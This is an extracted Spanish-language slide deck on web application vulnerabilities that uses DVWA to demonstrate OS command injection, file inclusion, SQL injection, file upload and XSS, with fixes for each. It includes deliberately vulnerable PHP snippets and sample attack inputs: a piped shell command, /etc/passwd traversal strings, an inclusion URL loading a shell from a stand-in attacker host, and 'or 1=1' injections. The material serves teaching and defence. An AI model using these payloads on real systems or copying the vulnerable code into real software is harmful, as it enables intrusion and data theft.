Download - Vulnerabilidades en aplicaciones web
![Page 1: Vulnerabilidades en aplicaciones web](https://reader034.vdocument.in/reader034/viewer/2022042817/559e189d1a28ab33798b4833/html5/thumbnails/1.jpg)
VULNERABILIDADES EN APLICACIONES WEB
www.realtic.es
![Page 2: Vulnerabilidades en aplicaciones web](https://reader034.vdocument.in/reader034/viewer/2022042817/559e189d1a28ab33798b4833/html5/thumbnails/2.jpg)
¿DE QUE VA ESTO?
¿POR QUÉ SERGURIDAD EN LA WEB?
![Page 3: Vulnerabilidades en aplicaciones web](https://reader034.vdocument.in/reader034/viewer/2022042817/559e189d1a28ab33798b4833/html5/thumbnails/3.jpg)
¿QUÉ VULNERABILIDADES VAMOS A VER?
•OS Commanding •Local File Inclusion (LFI) •Remote File Inclusion (RFI) •SQL Injection •Blind SQL Injection •Unrestricted File Upload •Cross-site scripting (XSS)
![Page 4: Vulnerabilidades en aplicaciones web](https://reader034.vdocument.in/reader034/viewer/2022042817/559e189d1a28ab33798b4833/html5/thumbnails/4.jpg)
DEMO
Damn Vulnerable Web Application (DVWA)
www.dvwa.co.uk
http://www.dvwa.co.uk/DVWA-1.0.7.iso
![Page 5: Vulnerabilidades en aplicaciones web](https://reader034.vdocument.in/reader034/viewer/2022042817/559e189d1a28ab33798b4833/html5/thumbnails/5.jpg)
OS COMMANDING Ataque que permite la ejecución no autorizada de comandos en el sistema operativo del servidor web
<?php passthru("/bin/ping " . $_GET[‘IP’]); ?>
Podemos realizar este ataque ingresando “;” o “|” (dependiendo del sistema operativo) IP = 192.168.1.1 | ls
SOLUCIÓN: Filtrar correctamente los parámetros recibidos por el cliente.
![Page 6: Vulnerabilidades en aplicaciones web](https://reader034.vdocument.in/reader034/viewer/2022042817/559e189d1a28ab33798b4833/html5/thumbnails/6.jpg)
OS COMMANDING
DEMO
![Page 7: Vulnerabilidades en aplicaciones web](https://reader034.vdocument.in/reader034/viewer/2022042817/559e189d1a28ab33798b4833/html5/thumbnails/7.jpg)
LOCAL FILE INCLUSION Ataque que permite el enlace de archivos locales debido a una mala filtración en las funciones propias de PHP: include(), include_once(), requiere(), requiere_once().
<?php $pagina = $_GET[‘pagina'] ; if (isset( $pagina) ) { include( ‘paginas/’ . $pagina . '.php' ); } else { include( ‘index.php' ); } ?>
![Page 8: Vulnerabilidades en aplicaciones web](https://reader034.vdocument.in/reader034/viewer/2022042817/559e189d1a28ab33798b4833/html5/thumbnails/8.jpg)
LOCAL FILE INCLUSION Ataque que permite el enlace de archivos locales debido a una mala filtración en las funciones propias de PHP: include(), include_once(), requiere(), requiere_once().
<?php $pagina = $_GET[‘pagina'] ; if (isset( $pagina) ) { include( ‘paginas/’ . $pagina . '.php' ); } else { include( ‘index.php' ); } ?>
/vulnerable.php?pagina=../../../../../../../../etc/passwd%00
![Page 9: Vulnerabilidades en aplicaciones web](https://reader034.vdocument.in/reader034/viewer/2022042817/559e189d1a28ab33798b4833/html5/thumbnails/9.jpg)
REMOTE FILE INCLUSION
Ataque que permite el enlace de archivos remotos debido a una mala filtración en las funciones propias de PHP: include(), include_once(), requiere(), requiere_once() Directivas activadas en la configuración de PHP: allow_url_include allow_url_fopen
![Page 10: Vulnerabilidades en aplicaciones web](https://reader034.vdocument.in/reader034/viewer/2022042817/559e189d1a28ab33798b4833/html5/thumbnails/10.jpg)
REMOTE FILE INCLUSION
Ataque que permite el enlace de archivos remotos debido a una mala filtración en las funciones propias de PHP: include(), include_once(), requiere(), requiere_once() Directivas activadas en la configuración de PHP: allow_url_include allow_url_fopen
http://www.securityartwork.es/2010/12/22/recopilacion-local-file-inclusion-lfi/
![Page 11: Vulnerabilidades en aplicaciones web](https://reader034.vdocument.in/reader034/viewer/2022042817/559e189d1a28ab33798b4833/html5/thumbnails/11.jpg)
REMOTE FILE INCLUSION
<?php $pagina = $_GET[‘pagina'] ; if (isset( $pagina) ) { include( $pagina . '.php' ); } else { include( ‘index.php' ); } ?>
/vulnerable.php?pagina=http://www.google.com? /vulnerable.php?pagina=http://atacante.com/shell.txt?
Ejemplo:
![Page 12: Vulnerabilidades en aplicaciones web](https://reader034.vdocument.in/reader034/viewer/2022042817/559e189d1a28ab33798b4833/html5/thumbnails/12.jpg)
Soluciones: •Filtrar los valores recibidos por el usuario $pagina = preg_replace('/[^a-z^A-Z]*/', '', $_GET['pagina']);
IMPORTANTE: ¡¡Solo aceptar los caracteres necesarios!!
$pagina = str_replace('../', '', $_GET[‘pagina’]); /vulnerable.php?pagina=..%2F..%2F..%2F..%2Fetc%2Fpasswd - OWNED!!
• Almacenar las distintas opciones válidas en un array y comprobar si se encuentra en dicho array $paginas = array('principal', ‘blog', 'contacto'); if(isset($_GET['pagina']) and in_array($_GET['pagina'], $paginas))
•Desactivar allow_url_include y allow_url_fopen •No confiar nunca en el usuario, y, por lo tanto, no incluir nada que un usuario pueda modificar.
![Page 13: Vulnerabilidades en aplicaciones web](https://reader034.vdocument.in/reader034/viewer/2022042817/559e189d1a28ab33798b4833/html5/thumbnails/13.jpg)
LOCAL FILE INCLUSION &
REMOTE FILE INCLUSION
DEMO
![Page 14: Vulnerabilidades en aplicaciones web](https://reader034.vdocument.in/reader034/viewer/2022042817/559e189d1a28ab33798b4833/html5/thumbnails/14.jpg)
SQL INJECTION & BSQL INJECTION Ataque que permite manipular una consulta SQL por un atacante con el fin de leer/modificar/eliminar datos sensibles de la base de datos o del sistema.
mysql_query("SELECT * FROM ‘Usuarios’ WHERE Usuario=‘“ . $_GET[‘usuario'] . ”’ AND Password=‘“ . $_GET[‘password'] . “’;”);
![Page 15: Vulnerabilidades en aplicaciones web](https://reader034.vdocument.in/reader034/viewer/2022042817/559e189d1a28ab33798b4833/html5/thumbnails/15.jpg)
SQL INJECTION & BSQL INJECTION Ataque que permite manipular una consulta SQL por un atacante con el fin de leer/modificar/eliminar datos sensibles de la base de datos o del sistema.
Usuario = a’ or ‘1’=‘1 Password = a’ or ‘1’=‘1
mysql_query("SELECT * FROM ‘Usuarios’ WHERE Usuario=‘“ . $_GET[‘usuario'] . ”’ AND Password=‘“ . $_GET[‘password'] . “’;”);
![Page 16: Vulnerabilidades en aplicaciones web](https://reader034.vdocument.in/reader034/viewer/2022042817/559e189d1a28ab33798b4833/html5/thumbnails/16.jpg)
SQL INJECTION & BSQL INJECTION Ataque que permite manipular una consulta SQL por un atacante con el fin de leer/modificar/eliminar datos sensibles de la base de datos o del sistema.
Usuario = a’ or ‘1’=‘1 Password = a’ or ‘1’=‘1
mysql_query("SELECT * FROM ‘Usuarios’ WHERE Usuario=‘“ . $_GET[‘usuario'] . ”’ AND Password=‘“ . $_GET[‘password'] . “’;”);
mysql_query("SELECT * FROM ‘Usuarios’ WHERE Usuario=‘a’ or ‘1’=‘1’ AND Password=‘a’ or ‘1’=‘1’;”);
![Page 17: Vulnerabilidades en aplicaciones web](https://reader034.vdocument.in/reader034/viewer/2022042817/559e189d1a28ab33798b4833/html5/thumbnails/17.jpg)
SQL INJECTION & BSQL INJECTION Se considera BLIND SQL INJECTION cuando la respuesta no esta directamente impresa en el documento HTML /vulnerable.php?id=1 “SELECT Usuario FROM ‘Usuarios’ WHERE id=“ . $_GET[‘id'] . ”;”
SELECT Usuario FROM ‘Usuarios’ WHERE id=1;
Mostraría en este caso, admin
![Page 18: Vulnerabilidades en aplicaciones web](https://reader034.vdocument.in/reader034/viewer/2022042817/559e189d1a28ab33798b4833/html5/thumbnails/18.jpg)
SQL INJECTION & BSQL INJECTION Se considera BLIND SQL INJECTION cuando la respuesta no esta directamente impresa en el documento HTML /vulnerable.php?id=1 “SELECT Usuario FROM ‘Usuarios’ WHERE id=“ . $_GET[‘id'] . ”;”
SELECT Usuario FROM ‘Usuarios’ WHERE id=1;
/vulnerable.php?id=1 and 1=1 “SELECT Usuario FROM ‘Usuarios’ WHERE id=“ . $_GET[‘id'] . ”;”
SELECT Usuario FROM ‘Usuarios’ WHERE id=1 and 1=1;
También mostraría admin
![Page 19: Vulnerabilidades en aplicaciones web](https://reader034.vdocument.in/reader034/viewer/2022042817/559e189d1a28ab33798b4833/html5/thumbnails/19.jpg)
SQL INJECTION & BSQL INJECTION Se considera BLIND SQL INJECTION cuando la respuesta no esta directamente impresa en el documento HTML /vulnerable.php?id=1 “SELECT Usuario FROM ‘Usuarios’ WHERE id=“ . $_GET[‘id'] . ”;”
SELECT Usuario FROM ‘Usuarios’ WHERE id=1;
/vulnerable.php?id=1 and 1=1 “SELECT Usuario FROM ‘Usuarios’ WHERE id=“ . $_GET[‘id'] . ”;”
SELECT Usuario FROM ‘Usuarios’ WHERE id=1 and 1=1;
/vulnerable.php?id=1 and 1=2 “SELECT Usuario FROM ‘Usuarios’ WHERE id=“ . $_GET[‘id'] . ”;”
SELECT Usuario FROM ‘Usuarios’ WHERE id=1 and 1=2;
No mostraría nada
![Page 20: Vulnerabilidades en aplicaciones web](https://reader034.vdocument.in/reader034/viewer/2022042817/559e189d1a28ab33798b4833/html5/thumbnails/20.jpg)
SQL INJECTION & BSQL INJECTION Soluciones:
•Validar y filtrar los datos de entrada, en particular, los caracteres especiales. •Es muy recomendable utilizar prepared statements para todas las consultas SQL •Ocultar los mensajes explícitos de error que muestren las consultas. •Restringir al mínimo los privilegios de las cuentas que se usan.
![Page 21: Vulnerabilidades en aplicaciones web](https://reader034.vdocument.in/reader034/viewer/2022042817/559e189d1a28ab33798b4833/html5/thumbnails/21.jpg)
SQL INJECTION &
BLIND SQL INJECTION
DEMO
![Page 22: Vulnerabilidades en aplicaciones web](https://reader034.vdocument.in/reader034/viewer/2022042817/559e189d1a28ab33798b4833/html5/thumbnails/22.jpg)
UNRESTRICTED FILE UPLOAD Esta vulnerabilidad se produce cuando en una aplicación que contiene un “file upload” no se hace una validación estricta de los tipos de ficheros que se pueden subir, provocando que un atacante pueda ejecutar código en el servidor o tomar el control del mismo.
Soluciones: - Denegar permiso de ejecución en el directorio donde se suben los archivos. - Verificar MIME-TYPE. - Verificar (correctamente) la extensión del archivo.
![Page 23: Vulnerabilidades en aplicaciones web](https://reader034.vdocument.in/reader034/viewer/2022042817/559e189d1a28ab33798b4833/html5/thumbnails/23.jpg)
UNRESTRICTED FILE UPLOAD
DEMO
![Page 24: Vulnerabilidades en aplicaciones web](https://reader034.vdocument.in/reader034/viewer/2022042817/559e189d1a28ab33798b4833/html5/thumbnails/24.jpg)
CROSS-SITE SCRIPTING (XSS) Fallo que se produce cuando no se valida la entrada de datos desde el cliente, provocando que se pueda inyectar código HTML en el resultado de la página.
Existen 2 tipos de ataque XSS: •No persistente •Persistente
Por este ataque, se puede obtener del usuario: •Predicción del Id de sesión. •Robo de Cookies. •Ejecución de código malicioso.
htmlentities - NO SIEMPRE ES LA SOLUCIÓN DEFINITIVA
![Page 25: Vulnerabilidades en aplicaciones web](https://reader034.vdocument.in/reader034/viewer/2022042817/559e189d1a28ab33798b4833/html5/thumbnails/25.jpg)
CROSS-SITE SCRIPTING (XSS)
DEMO
![Page 26: Vulnerabilidades en aplicaciones web](https://reader034.vdocument.in/reader034/viewer/2022042817/559e189d1a28ab33798b4833/html5/thumbnails/26.jpg)
¿Preguntas?
![Page 27: Vulnerabilidades en aplicaciones web](https://reader034.vdocument.in/reader034/viewer/2022042817/559e189d1a28ab33798b4833/html5/thumbnails/27.jpg)
¡¡GRACIAS!!